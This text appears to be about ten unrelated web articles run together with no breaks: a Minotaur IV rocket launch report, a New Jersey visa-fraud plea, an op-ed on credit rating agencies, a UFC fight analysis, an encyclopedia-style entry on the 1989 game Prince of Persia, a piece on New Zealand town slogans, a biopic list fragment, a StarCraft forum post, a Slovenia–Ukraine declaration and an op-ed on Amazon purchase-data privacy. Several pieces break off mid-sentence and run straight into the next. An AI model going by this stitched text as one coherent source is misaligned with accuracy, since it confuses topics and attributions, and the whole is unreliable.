Friday’s mission was the third orbital launch from SLC-46, and the twenty-second from the complex overall. It was the sixth flight, and fourth orbital launch, of the Minotaur IV, which has previously flown from Vandenberg Air Force Base in California and the Kodiak Launch Complex in Alaska.
Minotaur IV makes use of SR-118, SR-119 and SR-120 stages which were respectively developed by Thiokol, Aerojet and Hercules Incorporated for the LGM-118 Peacekeeper missile. First flown in 1983, the Peacekeeper was deployed from 1986 to 2005, with a peak deployment of fifty missiles. Peacekeeper was retired in 2005 under the terms of the START-II disarmament treaty.
The Minotaur launch began with ignition of the rocket’s SR-118 first stage at the zero mark in the countdown. Climbing rapidly away from Florida’s Space Coast, the Minotaur passed through the area of maximum dynamic pressure, or Max-Q, thirty-six seconds after liftoff at an altitude of 10 kilometers (6 miles, 5 nautical miles). Shortly afterwards, the rocket’s velocity reached Mach 1 and the rocket went transonic.
The first stage burned for fifty-six seconds before separating. The second stage – an SR-119 – ignited and burned for fifty-seven seconds, separating about eleven seconds after burnout. The third stage, an SR-120, ignited at staging to begin its seventy-three second burn. Nineteen seconds after the third stage ignites, with the rocket at an altitude of 130 kilometers (81 miles, 71 nautical miles), Minotaur’s payload fairing separated from the nose of the rocket.
After third stage burnout, the launch entered a coast phase as the vehicle ascends towards the apogee, or highest point, of its trajectory. Ten minutes and twenty-seven seconds into the coast, the spent third stage was jettisoned, with the fourth stage igniting eleven seconds later at thirteen minutes, 55 seconds mission elapsed time. The Orion-38 fourth stage burned for a minute and seven seconds, injecting ORS-5 into an initial parking orbit.
While in this orbit, three CubeSats separated from the rocket. One of these spacecraft is a three-unit CubeSat which will be operated by the Defense Advanced Research Projects Agency (DARPA), while the identity and operator of the other two satellites has not been disclosed. The three satellites deployed 120, 150 and 180 seconds after the end of the fourth stage burn.
In order to perform the plane change maneuver necessary to reach equatorial orbit, the fifth stage burn occurred as Minotaur crosses the equator. Following a ten-minute, six-second coast the rocket’s fourth and fifth stages separated, with fifth stage ignition coming eleven seconds later. The fifth stage burn, the last phase of powered flight, lasted sixty-nine seconds. Two minutes later, the ORS-5 satellite was released into orbit to begin its mission.
The target orbit for the launch was a near-circular equatorial low Earth orbit, 600 kilometers (373 miles, 324 nautical miles) in altitude with zero degrees inclination. About five minutes after spacecraft separation the guidance and control assembly, attached to the rocket’ fifth stage, vented any remaining gas for its reaction control system (RCS).
Minotaur’s mission was complete thirty-six minutes and 48 seconds after liftoff.
The launch was the first flight of a Minotaur IV since September 2011, although the closely-related Minotaur V was used in 2013 to deploy NASA’s Lunar Atmosphere and Dust Environment Explorer (LADEE) spacecraft. It is unclear when Minotaur IV will next fly, however the Minuteman-derived Minotaur I is scheduled to launch a satellite for the National Reconnaissance Office next year, while Minotaur-C – formerly Taurus – will deploy six satellites for SkyBox Imaging in October.
The SkyBox launch is one of two which Orbital ATK plan to conduct between now and the end of 2017 – the other being November’s OA-8 resupply mission to the International Space Station, using a Cygnus spacecraft boosted by an Antares rocket.
(Images via Orbital ATK).SOMERSET, NJ — Two employees from a Somerset County company admitted Tuesday to recruiting foreign nationals to enroll in a fake college in order to obtain student visas and/or work authorizations, U.S. Attorney Paul J. Fishman announced.
Harpreet Sachdeva, 26, of Somerset and Sanjeev Sukhija, 35, of North Brunswick pleaded guilty before U.S. District Judge Madeline Cox Arleo in Newark federal court to separate informations charging them each with one count of conspiracy to commit visa fraud.
In total, Sachdeva, Sukhija and others fraudulently maintained and attempted to obtain approximately 45 student visas and/or work authorizations, according to Fishman.
Both Sachdeva and Sukhija could face a maximum penalty of five years in prison and a $250,000 fine.
Sentencing is scheduled for Jan. 12, 2017 and Jan. 10, 2017, respectively.
The pair were charged on April 5, along with 22 brokers, recruiters, and employers with enrolling foreign nationals in the University of Northern New Jersey, a purported for-profit college located in Cranford (UNNJ).
UNNJ was created in September 2013 by Homeland Security Investigations (HSI). It was not staffed with instructors or educators, had no curriculum, and conducted no actual classes or education activities. It operated solely as a storefront location staffed by federal agents posing as school administrators.
Sachdeva and Sukhij – Indian citizens who are present in the United States on foreign worker visas – were each employed at Right OPT, a purported international student recruiting and consulting company located in Somerset.
Sachdeva and Sukhija told Right OPT's foreign recruits that for a fee, they could enroll at UNNJ without having to attend any classes and that their enrollment would enable them to fraudulently maintain their nonimmigrant status, according to the documents filed in this case and statements made in court.
With full knowledge that the recruits were not bona fide students and would not attend any courses, earn credits, or make academic progress toward any legitimate degree at UNNJ, Sachdeva and Sukhija caused forms to be issued to the foreign nationals, according to the report.
Along with maintaining student visa status for their foreign clients, Sachdeva and Sukhija also conspired to secure fraudulent work authorizations them, according to Fishman.
(Image via Shutterstock)
Have a news tip? Email alexis.tarrazi@patch.com.Washington
THE credit rating agencies are taking advantage of the country’s financial problems to increase their own political power. They want to ensure that regulators do not reduce their autonomy and influence.
Their strategy is brilliant. They are not piling on all at once by downgrading the United States in concert. Standard & Poor’s is the bad cop for now, taking the first swipe at the United States last Friday, and seeing its influence confirmed by the stock market’s dramatic reaction. Moody’s and Fitch are playing the good cop — exercising restraint about a potential downgrade, yet still flexing their muscles by criticizing the government both publicly and behind the scenes.
The rating agencies have the federal government over a barrel. If politicians ignore rating agencies’ warnings, they risk a withering assault of additional downgrades that could undercut confidence in the government and inflict soaring interest rates. The good-cop, bad-cop routine is especially potent because a downgrade by two of the three major rating agencies could lead to negative consequences, such as requiring some bond issuers to secure additional collateral.
Since the 1970s, federal statutes and regulations have mandated that debt issuers obtain ratings as evidence of creditworthiness. An oligopoly of rating agencies used this authority to effectively control access to the financial system. Even a threat of a downgrade from a rating agency could cause credit to dry up, and few inside or outside of Washington dared to challenge their dominance.
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The financial crisis jeopardized the agencies’ privileged position. Politicians and pundits accused them of being asleep at the wheel, if not complicit with issuers, in camouflaging risks and misleading investors during the run-up to the subprime mortgage crisis. The Dodd-Frank Wall Street reform law, enacted a year ago but not fully implemented yet, threatened to introduce unprecedented oversight and regulation.
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The law called for exposing rating agencies to civil liability in securities lawsuits if their ratings were inaccurate. It also challenged the oligopoly’s dominance by calling for the Securities and Exchange Commission to explore the feasibility of having an independent organization select rating agencies for asset-backed securities, instead of having the bond issuers select and pay the agencies, as they now do.Photo by Jeff Bottari/Zuffa LLC
Gegard Mousasi had always been the darling of hardcore fans, but for an unfamiliar viewer a look down Mousasi's record just didn't justify the hype. Over the last few years you could quite easily have come to the conclusion that he is over-rated. His wins are impressive against middling fighters but against top tier opponents he has fallen short. His big victories were over one dimensional kickboxers like Melvin Manhoef, inexperienced prospects like Ovince St. Preux, and freak fights against the grossly out of shape Mark Hunt and a Gary Goodridge who should not have even been allowed to fight anymore. Yet at UFC 210, Gegard Mousasi finally put it together and pulled off the biggest win of his career against Chris Weidman. The conclusion to the fight was not one which left either man satisfied, and really just further reflected the fecklessness of the New York State Athletic Commission, but the action for the best part of two rounds was cracking.
After battering Dan Henderson and Vitor Belfort, Mousasi seems to have come to the realization that fans like a finisher more than a brilliant, cautious technician. From the moment that Weidman showed Mousasi a feint, Mousasi was looking to land the counter right hand. Reminiscent of the Silva – Weidman fights, Weidman feinted early and often to try to take Mousasi's finger off the trigger.
Wrestling has been a problem for Mousasi throughout his career, and Chris Weidman's long, reaching high crotch takedown was a constant annoyance to him in this fight. UFC 210 main eventer, Daniel Cormier, is another man who uses the high crotch / head out single effectively in MMA but there certainly aren't many. The threat of crucifixes, downward elbows, switches, and back takes have to be respected by the man executing the high crotch.
At a couple of points Mousasi found himself in Baret Yoshida's 'higher ground' position, with double overhooks and laying on the back of Weidman's head.
In recent years Baret Yoshida has had remarkable success in snagging crucifixes in high level grappling competition, often by achieving double overhooks from the sprawl and laying on his opponents head with both legs out to one side. Very often Yoshida's opponent will grab at whatever leg they can get and Yoshida will trap the arm and transition to the crucifix. If the opponent goes for this sly bait, Yoshida gets the crucifix. If they do not, he simply maintains a hold of the body lock keeps trying. Even the great Robson Moura found himself scrambling up into a Yoshida crucifix. Of course, Yoshida has spent years practicing from this position and Mousasi likely hasn't, so it is more an interesting thought than anything else.
The Guard and the Passing
The really interesting point in the bout was how Gegard Mousasi's guard shaped up against Chris Weidman's passing. Mousasi has always been good off his back but far too comfortable staying there. In this bout he looked active and mobile: creating scrambles and forcing his way back to his feet. While the takedowns came easy for Weidman, progress on the ground did not. At one point, as Mousasi stumbled and tripped to his back from a clinch, his body immediately coiled into position to deliver that famous upkick when Weidman advanced to claim top position. Anyone who trains for Mousasi has to keep this strike in mind, which says something of Mousasi's ability with it that it remains a threat even under the Unified Rules of MMA.
Here's a look at how active Mousasi's inside hooks were from his guard. Mousasi begins elevating Weidman, underhooks a leg in order to transition to an x-guard or stand up sweep, finds himself in a front headlock and finally fights his way back to standing within moments of hitting the mat.
In this peculiar sequence Weidman begins to walk over Mousasi's left butterfly hook, clearing the knee, but Mousasi is able to use that knee to elevate Weidman and create a scramble.
Later in the bout Weidman began looking for a folding pass, attempting to palm Mousasi's knee past his centreline then smash his chest down on it to bring Mousasi's knees to together, flat on the mat.
Here Mousasi elevates Weidman, resets his hips in front of his opponent, and regains double underhooks.
After several attempts, Weidman was able to flatten Mousasi's hooks underneath his body. From here some grapplers prefer to use a windscreen wiper to pin the legs as they scarper around to the opposite side. Weidman, however, began crawling up towards mount and consolidated the position. A gorgeous pass against what had proven to be a tricky and creative guard.
Mousasi conceded his back, kicking one leg out behind him and grabbing and clawing at Weidman's leg in an attempt to get Weidman to slip off his back, ultimately he was successful in this and during the scramble he was able to return to his feet once again, evading what could have been disaster.
Balance and Controversy
Weidman began to slow from the effort of taking Mousasi down and failed to do damage on the ground. Disappointing in this bout was Weidman's striking. Against his first orthodox opponent in five years, Weidman looked awkward. He threw long, naked, right kicks which were met with easy counter punches that sent Weidman off balance.
We discussed kicking into the open side when previewing Rumble vs Cormier II last week. In that fight, just as in the first, it proved to be incredibly important. Johnson snuck in a knee and kicked Cormier in the face as he had the natural reaction to duck down into the open side to avoid punishment behind his shoulder at back.
Kicking into the closed side is tougher because even a blow the opponent doesn't see coming can just hit their back and shoulder, and even if it lands it has a great chance of winding up underneath their arm while a right hand comes back.
When Weidman threw his right hand he was reckless and threw himself off balance.
And this ultimately got him caught with a counter while out of position at the opening of the second round.
While covering up along the fence is generally something we examine as a negative, Weidman has shown that he can do it better than most, as against Vitor Belfort. Moving his head, rotating his elbows to block the path of uppercuts and knees, and keeping his chin pinned to his sternum to take the blows on the top of his head: Weidman's covering up is an example of the best way to do a bad thing and it helped him weather the storm against Mousasi as he had against Belfort.
Slightly concerning was Weidman's stiff fingered drives towards Mousasi's face which went overlooked by the referee.
Mousasi was starting to heat up. His disdainful, non-commital jab, thrown as if his fist had stepped in something nasty. He was finally able to flick out this jab and sprawl on Weidman's shots effectively as the American slowed down. Unfortunately the fight was promptly struck down by miscommunications in officiating. Mousasi landed what is now mostly agreed to be a legal knee under the new rules (which have been a cause of confusion for the last few events based on whether the commission has accepted them), but New York State Athletic Commission does not allow referees to review tape for reasons it doesn't seem able to explain.
So Weidman got five minutes to recover, then the strike was declared legal, then he was allowed to recover some more, then the doctor declared him unfit to fight. It was a unsatisfactory ending to what was proving to be a great middleweight tilt and a reminder that the NYSAC has just not got the hang of this yet at all.
While Mousasi looked the best he has to date, and picked up the biggest name of his career, it feels as though we were robbed of the actual conclusion of the bout. There is talk of a do-over, but others desire to see Mousasi moving on to better things. The saddest thing to think about coming out of this thoroughly entertaining, technical scrap is that while the UFC scrambles to create Michael Bisping led money fights out of thin air, the heap of talent which is suddenly swimming in the middleweight top ten just has to pass the time.
Check out this related story:
Anthony Johnson's Retirement Won't Last This article is about the 1989 video game. For the 2008 game of the same name, see Prince of Persia (2008 video game)
Prince of Persia is a 1989 fantasy cinematic platformer originally developed and published by Brøderbund and designed by Jordan Mechner for the Apple II. In the game, players control an unnamed protagonist who must venture through a series of dungeons to defeat the Grand Vizier Jaffar and save an imprisoned princess.
Much like Karateka, Mechner's first game, Prince of Persia used rotoscoping for its fluid and realistic animation. For this process, Mechner used as reference for the characters' movements videos of his brother doing acrobatic stunts in white clothes and swashbuckler films such as The Adventures of Robin Hood.
The game was critically acclaimed and, while not an immediate commercial success, sold many copies as it was ported to a wide range of platforms after the original Apple II release. It is believed to have been the first cinematic platformer and inspired many following games in this subgenre, such as Another World.[4] Its success led to the release of two sequels, Prince of Persia 2: The Shadow and the Flame and Prince of Persia 3D, and two reboots of the series, first in 2003 with Prince of Persia: The Sands of Time, which led to three sequels of its own, and then again in 2008 with the identically-titled Prince of Persia.
Plot [ edit ]
The game is set in ancient Persia. While the sultan is fighting a war in a foreign land, his vizier Jaffar, a wizard, seizes power. His only obstacle to the throne is the Sultan's daughter (although the game never specifically mentions how). Jaffar locks her in a tower and orders her to become his wife, or she would die within 60 minutes (extended to 120 minutes in the Super NES version, which has longer and harder levels). The game's unnamed protagonist, whom the Princess loves, is thrown prisoner into the palace dungeons. In order to free her, he must escape the dungeons, get to the palace tower and defeat Jaffar before time runs out. But in addition to guards, various traps and dungeons, the protagonist is further hindered by his own doppelgänger, an apparition of his own self that is conjured out of a magic mirror.
Gameplay [ edit ]
Mechner used videos of his brother as a reference for the original animation of the game (Pictured: IBM PC compatible version)
The main objective of the player is to lead the unnamed protagonist out of dungeons and into a tower before time runs out. This cannot be done without bypassing traps and fighting hostile swordsmen. The game consists of twelve levels (though some console versions have more). However, a game session may be saved and resumed at a later time only after level 2.
The player has a health indicator that consists of a series of small red triangles. The player starts with three. Each time the protagonist is damaged (cut by sword, fallen from two floors of heights or hit by a falling rock), the player loses one of these indicators. There are small jars of red potion scattered throughout the game that restore one health indicator. There are also large jars of red potion that increase the maximum number of health indicators by one. If the player's health is reduced to zero, the protagonist dies. Subsequently, the game is restarted from the beginning of the stage in which the protagonist died but the timer will not reset to that point, effectively constituting a time penalty. There is no counter for the number of lives; but if time runs out, the princess will be gone and the game will be over, subject to variations per console versions:
The DOS version allows the player already in the very late part of Level 12 to continue after time is out with no extra life, so:
Restarting the level by pressing appropriate buttons is not death, thus not failing the game yet. Any player's death, including having killed Jaffar then falling from excessive floors of heights, also fails the game in which case the Princess is also gone. Only defeating Jaffar and exiting Level 12 alive will still save the Princess, with a negative time score in the hall of fame.
The Super NES version allows the player to save himself after time is out, to get the game over at the end without the princess saved.
There are three types of traps that the player must bypass: Spike traps, deep pits (three or more levels deep) and guillotines. Getting caught or falling into each results in the instant death of the protagonist. In addition, there are gates that can be raised for a short period of time by having the protagonist stand on the activation trigger. The player must pass through the gates while they are open, avoiding locking triggers. Sometimes, there are various traps between an unlock trigger and a gate.
Hostile swordsmen (Jaffar and his guards) are yet another obstacle. The player obtains a sword in the first stage, which they can use to fight these adversaries. The protagonist's sword maneuvers are as follows: advance, back off, slash, parry, or a combined parry-then-slash attack. Enemy swordsmen also have a health indicator similar to that of the protagonist. Killing them involves slashing them until their health indicator is depleted or by pushing them into traps while fighting.
A unique trap encountered in stage four, which serves as a plot device, is a magic mirror, whose appearance is followed by an ominous leitmotif. The protagonist is forced to jump through this mirror upon which his doppelganger emerges from the other side. This apparition later hinders the protagonist by stealing a potion and throwing him into a dungeon. The protagonist cannot kill this apparition as they share lives; any damage inflicted upon one also hurts the other. Therefore, the protagonist must merge with his doppelganger.
Once they have merged, the player can run across an invisible bridge to a new area, where they battle Jaffar (once the final checkpoint is reached, the player will no longer get a game over screen even if time runs out, except if the player dies after the timeout). Once Jaffar is defeated, his spell is broken and the Princess can be saved. In addition, the in-game timer is stopped at the moment of Jaffar's death, and the time remaining will appear on the high scores.
Development [ edit ]
Mechner used hand-drawn storyboards such as this to lay out the game's level design and character movements
Development for the game began in 1985, the year Jordan Mechner graduated from Yale University. At that time, Mechner had already developed one game, Karateka, for distributor Brøderbund. Despite expecting a sequel to Karateka, the distributor gave Mechner creative freedom to create an original game.[5] The game drew from several sources of inspiration beyond video games, including literature such as the Arabian Nights stories,[6] and films such as Raiders of the Lost Ark[7] and The Adventures of Robin Hood.[8]
For a few seconds, the camera angle has them in exact profile. This was a godsend. I did my VHS/one-hour-photo rotoscope procedure, spread two-dozen snapshots out on the floor of the office and spent days poring over them trying to figure out what exactly was going on in that duel, how to conceptualise it into a repeatable pattern. Jordan Mechner on how he used the final duel between Errol Flynn and Basil Rathbone from The Adventures of Robin Hood to create the game's swordfighting mechanic[5]
Mechner used an animation technique called rotoscoping, with which he used footage to animate the characters' sprites and movements. To create the protagonist's platforming motions, Mechner traced video footage of his younger brother running and jumping in white clothes.[9] To create the game's sword fighting sprites, Mechner rotoscoped the final duel scene between Errol Flynn and Basil Rathbone in the 1938 film The Adventures of Robin Hood.[8] Though the use of rotoscoping was regarded as a pioneering move, Mechner later recalled that "when we made that decision with Prince of Persia, I wasn't thinking about being cutting edge - we did it essentially because I'm not that good at drawing or animation, and it was the only way I could think of to get lifelike movement."[10] Also unusual was the method of combat: protagonist and enemies fought with swords, not projectile weapons, as was the case in most contemporary games. Mechner has said that when he started programming, the first ten minutes of the film Raiders of the Lost Ark had been one of the main inspirations for the character's acrobatic responses in a dangerous environment.[11]
For the Japanese computer ports, Arsys Software[12] and Riverhillsoft[3] enhanced the visuals and redesigned the Prince's appearance, introducing the classic turban and vest look. This version became the basis for the Macintosh version and later Prince of Persia ports and games by Brøderbund. Riverhillsoft's FM Towns version also added a Red Book CD audio soundtrack.[3]
The Game Boy version was the first game to feature music by Tommy Tallarico. He was a playtester for Virgin Interactive and offered to compose the music free of charge.
Ports [ edit ]
Screenshot from the Super NES version developed by Arsys ; this version features enhanced graphics and more levels than the original Apple II release
After its release on the Apple II, Prince of Persia was ported to a variety of platforms. Below is a list of the ports that were developed.
Reception [ edit ]
Despite a positive critical reception, Prince of Persia was initially a commercial failure in North America, where it had sold only 7,000 units each on the Apple II and IBM PC by July 1990. It was when the game was released in Japan and Europe that year that it became a commercial success. In July 1990, the NEC PC-9801 version sold 10,000 units as soon as it was released in Japan. It was then ported to various different home computers and video game consoles, eventually selling 2 million units worldwide by the time its sequel Prince of Persia 2: The Shadow and the Flame (1993) was in production,[3] and more than 2 million copies by 1999.[37][38]
Charles Ardai of Computer Gaming World stated that the game package's claim that it "breaks new ground with animation so uncannily human it must be seen to be believed" was true. He wrote that Prince of Persia "succeeds at being more than a running-jumping game (in other words, a gussied-up Nintendo game)" because it "captures the feel of those great old adventure films", citing Thief of Baghdad, Frankenstein, and Dracula. Ardai concluded that it was "a tremendous achievement" in games comparable to that of Star Wars in film.[39]
In 1991, the game was ranked the 12th best Amiga game of all time by Amiga Power.[40] In 1992, The New York Times described the Macintosh version as having "brilliant graphics and excellent sound... Sure, you could do all this years ago on a Commodore 64 or Atari 400. But those games never looked or sounded like this".[41] Reviewing the Genesis version, GamePro praised the "extremely fluid" animation of the player character and commented that the controls are difficult to master but nonetheless very effective. Comparing it to the Super NES version, they summarized that "the Genesis version has better graphics, and the SNES has better music. Otherwise, the two are identical in almost every way..."[42] Electronic Gaming Monthly (EGM) likewise assessed the Genesis version as "An excellent conversion of the classic action game", and added that the game's challenging strategy and technique give it high longevity.[43] EGM's panel of four reviewers each gave it a rating of 8 out of 10, adding up to an overall score of 32 out of 40.[31]
In 1991, PC Format named Prince of Persia one of the 50 best computer games ever, highlighting its "unbelievably good animation".[44] In 1996, Computer Gaming World named Prince of Persia the 84th best game ever, with the editors calling it "an acrobatic platformer with amazingly fluid action".[45]
Legacy [ edit ]
Prince of Persia would go on to influence cinematic platformers such as Another World and Flashback as well as action-adventure games such as Tomb Raider,[3] which used a similar control scheme.[46] A few DOS games were created using exactly the same game mechanics of the DOS version of Prince of Persia. Makh-Shevet created Cruel World in 1993 and Capstone Software created Zorro in 1995.[47]
In 2007, Prince of Persia was remade and ported by Gameloft. The remake, titled Prince of Persia Classic, was released on June 13, 2007 to the Xbox Live Arcade, and on October 23, 2008 on the PlayStation Network. It features the same level design and general premise but contained 3D-rendered graphics, more fluid movements, and Sands of Time aesthetics.[48] The gameplay and controls were slightly adjusted to include a wall-jump move and different swordplay. New game modes were also added, such as "Time Attack" and "Survival".[49] The game has also been released on Android.[50]
Reverse engineering efforts by fans of the original game have resulted in detailed documentation of the file formats of the MS-DOS version.[51] Various level editors have been created that can be used to modify the level files of the game.[52] With these editors and other software, over sixty mods have been created.[53]
On April 17, 2012, Jordan Mechner established a GitHub repository[54] containing the long-thought-lost[55] original Apple II source code for Prince of Persia.[56][57] A technical document describing the operation of this source code is available on Mechner's website.[58]Ashburton's "Whatever it takes" welcome sign begged the question, to do what?
OPINION: There's nothing like filling the car up and hitting the road on a good summer's day in New Zealand.
And there's nothing quite like the laugh you get when you come upon those signs welcoming and farewelling you in and out of regions.
Since the 1990s we've seen such gems as:
BILL KEARNS/FAIRFAX NZ Wairoa's sign emphasised the good old days: "New Zealand the way it used to be"
- Ashburton: "Whatever it takes"
- Wairoa: "New Zealand the way it used to be"
- Porirua: "P-Town"
- Hamilton: "More than you expect"
- Dannevirke: "Take a liking for a Viking"
- "Right Up My Hutt Valley"
- "Taranaki – like no other"
READ MORE:
* Top 10 worst NZ city slogans
* Auckland to spend $500m on new look and catchphrase
Documented in council minutes will be the, no doubt, large cost of creating these masterpieces.
What is not so clear is what their purpose was. Are they designed to attract tourists or new residents or perhaps make the current residents feel good?
What process did they use to come up with these taglines – some of which are clearly created by a committee, others possibly by a comedian.
A committee in Auckland is in fact right now working away on a new brand to replace many before: City of Sails, Auckland A, Big Little City. The new one has the very big job of attracting visitors, events, skilled migrants and investment.
More recently regions have developed a call to action. Wellington's "Send yourself to Wellington", in the 90s was a genuine attempt to address a real problem that hotels were empty in the weekend.
Hawke's Bay appears to have ditched its well proven "Wine country" tagline in favour of " Get me to Hawke's Bay." I suppose it's a promise there's something there worth getting to (it's still the wine I say).
But while those regions are clearly looking for visitors, Dunedin's 'It's alright here" is targeting the residents. And while that is apologetic – the concept is not silly.
The Capital's "Absolutely Positively Wellington" campaign was all about getting the locals to admit they liked the city. It was an effective forerunner to the tourism campaign. After all, it's no use trying to attract visitors if the locals are still openly dissing the place.
Here's a challenge for you. Imagine you're talking to someone overseas about where to go in New Zealand. In less than three minutes come up with what you think are the best places and how you describe them.
There's a phrase "it is what it is". Everyone has history and regions should build on what they already are.
What is dangerous is to let a committee decide the outcome. Because what inevitably happens is a collage of imagery from a town offering you everything. Which in fact is offering you nothing specific at all.
Visitors need a reason to visit, residents a reason to stay and traders |
: Greg Kinnear gives a powerful performance in this biography of "Hogan’s Heroes" star Bob Crane, whose private life was consumed by sexual addiction. Ali: Will Smith stars as Muhammad Ali in this critically acclaimed look at the champ’s life. Directed by Michael Mann. Chaplin: Robert Downey, Jr. earned some of the best praise of his career as Charlie Chaplin in director Richard Attenborough’s film. The Pride of the Yankees: Gary Cooper stars as Lou Gehrig in this classic drama about the hero baseball player laid low by illness. De-Lovely: Hollywood had tackled Cole Porter before, but this 2004 biopic starring Kevin Kline as the composer dealt more directly with his sexuality. Notorious: This biopic deals with the life, career, and killing of Christopher "Biggie" Wallace, aka Notorious B.I.G.
Politics
The lives of politicians make for some riveting movies.Waxangel Profile Blog Joined September 2002 United States 27030 Posts Last Edited: 2011-09-29 15:40:40 #1
Ex-Brood War pro-gamer Park "ForGG" Jisu has joined the Old Generations progaming team, after retiring from professional Brood War earlier this year. He will be playing under the ID "oGsFin" for his Starcraft II career. ForGG cited his relationship with ex-Lecaf teammate and present oGs coach Gon as one of the factors for joining oGs.
ForGG is most famous for winning the Arena MSL in 2008, defeating Jaedong 3-0 in the finals.
Entirely subjective evaluation: Though he was never able to capture the same degree of success after winning the championship, ForGG became a solid mid-tier progamer who specialized in dangerous timing attacks. Though he was a more successful gamer than fellow ex-BW pro MVP, it is worth taking into account his cheesy play style compared to MVP's macro preferences.
Trivia: ForGG was known for his theme song, The Pretender by Foo Fighters (known among Korean fans as the 'conquering song'], as it was the main theme for the Arena MSL where he won his only championship. MBCGame would habitually play the song whenever he made a television appearance.
Source : http://www.thisisgame.com/board/view.php?id=796342&board=&category=13438 Ex-Brood War pro-gamer Park "ForGG" Jisu has joined the Old Generations progaming team, after retiring from professional Brood War earlier this year. He will be playing under the ID "oGsFin" for his Starcraft II career. ForGG cited his relationship with ex-Lecaf teammate and present oGs coach Gon as one of the factors for joining oGs.ForGG is most famous for winning the Arena MSL in 2008, defeating Jaedong 3-0 in the finals.Though he was never able to capture the same degree of success after winning the championship, ForGG became a solid mid-tier progamer who specialized in dangerous timing attacks. Though he was a more successful gamer than fellow ex-BW pro MVP, it is worth taking into account his cheesy play style compared to MVP's macro preferences.ForGG was known for his theme song, The Pretender by Foo Fighters (known among Korean fans as the 'conquering song'], as it was the main theme for the Arena MSL where he won his only championship. MBCGame would habitually play the song whenever he made a television appearance. http://www.youtube.com/watch?v=Ck9NVFlTFFE#t=35m40s Administrator Hey HP can you redo everything youve ever done because i have a small complaint?Slovenia remains committed to non-recognition of the illegal annexation of the Autonomous Republic of Crimea and Sevastopol by the Russian Federation, which is a flagrant violation of the international law, according to a joint declaration on cooperation of the countries, adopted by the President of Ukraine Petro Poroshenko and Slovenian President Borut Pahor on the results of the negotiations on Tuesday.
"We recognize that the sovereignty and inviolability of borders in Ukraine is a key and critical to the security of all European states. We reiterate that the annexation of the Autonomous Republic of Crimea and Sevastopol by the Russian Federation is a flagrant violation of the international law," the declaration says published on the official website of the head of the Ukrainian state.
The document also condemns the act of aggression on the territory of Donetsk and Luhansk regions of Ukraine, and calls on the Russian Federation to immediately stop providing financial, military and other assistance to local separatists. Slovenia also intends to support sanctions against Russia until the complete fulfillment of the Minsk Agreement on the settlement of the situation in Donbas.
"We call on the international community to continue its efforts to fully implement the Minsk Agreements in order to restore international law and territorial integrity of Ukraine within its internationally recognized borders. The Republic of Slovenia will continue its efforts to restore the sovereignty and territorial integrity of Ukraine and support the policy of the EU sanctions against Russian Federation up to the full implementation of the Minsk agreements," the declaration says.
Slovenia also "in the spirit of support of NATO’s open door policy" supports reforms that bring Ukraine closer to international standards of the alliance.
"We agreed on the further provision of assistance to Ukraine to mitigate the humanitarian consequences of the ongoing act of aggression on the territory of Donetsk and Luhansk regions in the east of Ukraine. We will make joint efforts to strengthen cooperation in the sector of humanitarian demining and disposal of hazardous explosive collision rests in the projects, which are implemented in Ukraine by ITF - International Trust Fund for Demining and Mine Victims Assistance," the document says.
The declaration also expresses strong support to the Special OSCE monitoring mission in Ukraine in the implementation of its mandate, including its full and unhindered access to the entire territory of Ukraine and the Ukrainian-Russian state border, as well as highlights the urgency of strengthening cooperation within international and regional organizations, the further consolidation of comprehensive efforts to fight international terrorism and organized crime.Scott Eells / Bloomberg / Getty Images
In the old days, when you trekked to a store to buy a book or magazine with cash, there was no permanent record of the purchase. But in the Internet age, with every book, magazine and DVD just a few clicks (and a credit card number) away, virtually anything you buy online is recorded and sellers often keep the information permanently (or sell it to third parties). That's bad enough, but what if the government tried to get its hands on that personal data? In fact, the state of North Carolina has been trying to do just that. It's been on a disturbing campaign to force Amazon.com to give it detailed records on which First Amendmentprotected products its residents have bought online. Last week, a federal court said no in an important win for online-privacy rights but more remains to be done.
The court case stems from a war over sales taxes between North Carolina and Amazon. The North Carolina tax department says Amazon failed to collect sales taxes on about 50 million transactions with North Carolinians between 2003 and early 2010. As part of a tax audit, North Carolina asked the e-commerce giant to provide, for that time period, "all information for all sales to customers with a North Carolina shipping address."
Amazon partially complied, turning over a lot of records, but it held back data that would allow the state to connect individual customers with the specific items they purchased. North Carolina came back with a demand for more and different data, and Amazon sued in federal court in Washington State, arguing that the state's demands violate the First Amendment and privacy laws. The federal district court rightly ruled that North Carolina's actions violated the First Amendment as well as certain provisions of the Video Privacy Protection Act, the 1988 law that prevents unauthorized disclosure of video-sale records. The court warned that if North Carolina were able to get individualized information about Amazon customers, it would have a chilling effect on their decisions about what to buy. (See what your cell phone could be telling the government.)
After all, people purchase lots of things from Amazon that they may not want the government to know about. The American Civil Liberties Union (ACLU), which joined the lawsuit on behalf of individual Amazon customers, gave some examples: books that criticize the government or powerful elected officials; books that could reveal personal information about the buyer, with titles like Bipolar Disorder: A Guide for Patients and Families or Outing Yourself: How to Come Out as Lesbian or Gay to Your Family, Friends, and Coworkers; and products that may convey controversial or personal information about the buyer, such as Confederate flags, rainbow flags, condoms or sex toys.
One of the ACLU's anonymous clients an atheist who happens to work with a lot of religious people does not want Amazon to reveal that she bought the books God Is Not Great: How Religion Poisons Everything and The God Delusion. Another client does not want Amazon to reveal that it shipped her books that are critical of the President, including Obama Zombies: How the Liberal Machine Brainwashed My Generation.
The First Amendment protects Americans' rights to read what they wish without the prying eyes of the government looking over their shoulder. The founders understood how important anonymity is to free speech: they wrote some of their most important essays arguing for ratification of the Constitution under the pseudonym Publius.
The Supreme Court has recognized the role that anonymity plays as a "shield from the tyranny of the majority." In Lamont v. Postmaster General, a case from 1965, the court struck down on First Amendment grounds a postal regulation that required recipients of "communist political propaganda" to file a request with the postmaster before it could be delivered. (See more about First Amendment rights and the Supreme Court.)
The postal regulation challenged in Lamont feels archaic today. But North Carolina's attempt to strip away anonymity from Amazon customers contains precisely the same dangers. As Justice William O. Douglas observed in 1953, "If the lady from Toledo can be required to disclose what she read yesterday and what she will read tomorrow, fear will take the place of freedom in the libraries, bookstores, and homes of the land."
It is good that a federal court slapped down North Carolina last week, but it is not enough. The real problem is that online retailers are assembling so much data about people, without their active consent and generally without their knowledge. If a bookstore insisted that you provide your name and address every time you bought a book or a magazine with cash, you would no doubt find it odd and offensive. But that is precisely what online retailers do. As a result, they end up with vast stores of information about you which the government may be able to get simply by asking for it with a subpoena.
To prevent that kind of governmental intrusion, Internet retailers should give customers more direct control over their personal data. At the end of every transaction, they should ask the user if they want a record kept or if they want the information to be erased. They should give customers ongoing control over what data is stored about them and let them delete whatever they want.
